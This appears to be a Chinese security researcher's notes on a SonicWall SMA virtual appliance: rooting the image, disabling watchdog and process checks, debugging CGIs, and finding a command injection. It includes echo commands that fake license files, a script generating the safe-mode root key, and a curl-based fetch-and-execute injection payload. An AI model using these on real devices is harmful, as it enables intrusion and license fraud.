文章

SonicWall SMA 漏洞研究

SonicWall SMA漏洞研究

root access

本来想直接更改文件系统中的/etc/passwd 和 /etc/shadow 然后开启sshd获取root shell,但是修改后没有正常启动,经过分析发现固件启动时会更换内核及文件系统

https://img.badmonkey.site/202311141701849.png

因为需要对INITRD.gz 文件系统进行修改。可以挂载INITRD修改后对应的文件系统,然后使用guestmount挂载虚拟机磁盘并更新INITRD.gz。

sudo virt-filesystems -a old_sma.qcow2 ## find /dev/sda4
sudo guestmount -a old_sma.qcow2 -m /dev/sda4 rootfs
sudo su
cd rootfs
**cp cf/firmware/current/INITRD.GZ ../ # patch INITRD.GZ
cp ../INITRD.gz cf/firmware/current/INITRD.GZ
cd ..
guestunmount rootfs

修改INITRD.GZ

mkdir ramfs
sudo su
mount -t ext2 INITRD ramfs/
cd ramfs
echo '#!/bin/bash' > ./usr/src/EasyAccess/bin/graphd # delete graphd
vim etc/passwd
vim etc/EasyAccess/etc/shadow
cp ../busybox bin/
chmod 777 bin/busybox
vim etc/rc.d/rc.local # open telent
cd ..
umount ramfs
gzip -9 -f INITRD

关闭watchdog

Untitled

开启telnetd

Untitled

graphd

虽然获得了root权限,但是调试的时候,开启telnet或者ssh总会被断掉,但是可以看到类似日志的输出信息。security checking fail

https://img.badmonkey.site/202311141701854.png

对其逆向分析,发现确实会进行进程的检查,如果有非法进程则会将其kill掉,因为启动的bash每隔十分钟就会被kill

Untitled

检查成功时的日志

https://img.badmonkey.site/202311141701177.png

watchdog

分析发现即使手动killall graphd,过一段时间仍然会被kill掉telnet进程,通过检索相关字符串,可以定位到watchdog会定期检查,httpd,graphd等进程是否在线如果不在线则会重新启动,但是不能直接kill掉watchdog,因为直接kill会导致机器重启

https://img.badmonkey.site/202311141701863.png

bypass

对于研究者来说,可以通过修改虚拟机镜像来实现,对于实际场景暂时没有想到比较好的处理方式。对于系统镜像,可以修改/etc/rc.d/rc.sysinit将watchdog启动的部分注释掉,同时修改graphd为一个空程序。

License Patch

经过逆向发现对于license的检查都是通过libsys.so实现的

Untitled

检查发现都是对文件内容进行检查

Untitled

依次建立对应的文件,并写入相应的内容

echo "TRUE" > /var/license/Analyzer
echo "1" > /var/license/WAFTService
echo "1" > /var/license/GeoIPBotnetService
echo "1" > /var/license/WAFService
echo "1" > /var/license/GeoIPBotnetService
echo "TRUE" > /var/license/ViewPoint
echo "10" > /tmp/captureatp
echo "10" > /var/license/VirtualAssist
echo "10" > /var/license/spikeLicenseActive
echo "10" > /var/license/spikeLicenseCount
echo "10" > /var/license/userLicense
echo "1" > /etc/EasyAccess/var/license/OPSWATLicense
echo "TRUE" > /var/license/CSC

攻击面分析

https://img.badmonkey.site/202311141702154.png

Apache 2.4.38 httpd组件,但未启用

Untitled

Untitled

硬编码

文件hash是被加密的

Untitled

但是有什么用呢?

Untitled

非常鸡肋的一个硬编码,safemode下使用root进行登录需要输入一个sec_key才能进入bash

Untitled

key的生成逻辑比较简单,利用随机数生成

Untitled

在check_key中对随机生成的key,进行了运算然后与用户输入进行对比

Untitled

运算逻辑如下

Untitled

构造key的生成脚本

import hashlib
import base64

def calc_key(a1):
    s = a1 + "!@%#gDSF$@!#FE@#DF@" 
    digest = hashlib.sha1(s.encode()).digest()
    ptr = base64.b64encode(digest[:16])  
    key = ""
    hex_tab = "0123456789ABCDEF"
    for i in range(10):
        b = ptr[i+2]
        idx = (13*b) % 16
        key += hex_tab[idx]
        
    return key

SQL注入

虽然很多命令执行的点被patch了,但是对sql语句的限制貌似比较少,例如在增加bookmarks时,没有限制很多

Untitled

但是不起作用?需要调试一下

Untitled

经过测试单引号和双引号会被转义,转义方式为

' ==> ''
" ==> \"

httpd 调试cgi

参考https://stackoverflow.com/questions/23400466/how-to-debug-cgi-program-written-in-c-and-running-in-apache2

首先配置单例模式

Untitled

重启httpd后发现只有一个worker进程

Untitled

使用gdbserver调试

/tmp/gdbserver 192.168.1.106:2345 --attach 8863

Untitled

set sysroot .
set follow-fork-mode child
set detach-on-fork off
catch exec
target remote 192.168.1.106:2345
c
b *0x804A033

但是地址会跑飞

历史漏洞

https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0018

经过检查发现大多数文件会使用system_s_xxx等函数而此类函数都会进行校验,因此无法实现命令执行

Untitled

因此思路进行转换,考虑没有出现过滤的命令执行点,这里先对popen进行了检索

Untitled

经过分析,发现只有getFileMd5String有潜在的问题

Untitled

发现在management中存在调用

Untitled

获取portalname然后进行拼接执行命令

Untitled

类比getportalname查找setportalname,对应sitecustomization

Untitled

逆向发现会对portalname进行url编码

Untitled

但是编码的时候并没有限制死可能的命令执行点

Untitled

因此可以考虑使用这些字符进行构造命令执行,新版本中的修复方式是增加对potalname的校验

Untitled

使用

$($(curl${IFS}192.168.1.2))

实现命令执行

其中

$(curl${IFS}192.168.1.2)

会进行访问192.168.1.2并得到一条命令,将此命令用

$()

包裹起来实现命令执行

License:  CC BY 4.0